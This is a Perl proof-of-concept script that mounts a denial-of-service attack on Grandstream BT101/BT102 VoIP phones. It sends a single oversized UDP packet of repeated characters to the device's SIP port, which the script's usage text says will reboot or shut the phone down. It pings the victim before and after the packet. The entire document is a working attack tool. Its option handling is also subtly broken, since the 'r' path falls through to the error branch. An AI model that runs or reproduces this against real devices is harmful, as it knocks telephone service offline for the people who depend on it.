#!/usr/bin/perl # use IO::Socket; use Term::ANSIColor; ############################ U S A G E ################################### system ("clear"); print "\nGrandstream BT101/BT102 DoS\n"; print "written by pierre kroma (kroma\@syss.de)\n\n"; if (!$ARGV[2]){ print qq~ Usage: perl grandstream-DoS.pl -s {-r/-s} = ;-) = 5060 -r = 'reboot' the Grandstream BT 101/102 -s = 'shutdown' the Grandstream BT 101/102 ~; exit;} ################################## D E F I N I T I O N S#################### $victim = $ARGV[0]; $port = $ARGV[1]; $option = $ARGV[2]; if ( $option == 'r' || $option == 'R' ) { $request= 'k'x65534;} if ( $option == 's' || $option == 'S' ) { $request= 'p'x65535;} else { print "Wrong parameter - try it again"; exit; } # ping the remote device print color 'bold blue'; print "\nping the remote device $victim\n"; print color 'reset'; system("ping -c 3 $victim"); print color 'bold red'; print "\n Wait ... \n\n\n"; print color 'reset'; $sox = IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim"); print $sox $request; sleep 1; close $sox; # ping the remote device print color 'bold blue'; print "ping the remote device $victim again\n"; print color 'reset'; system("ping -c 3 $victim");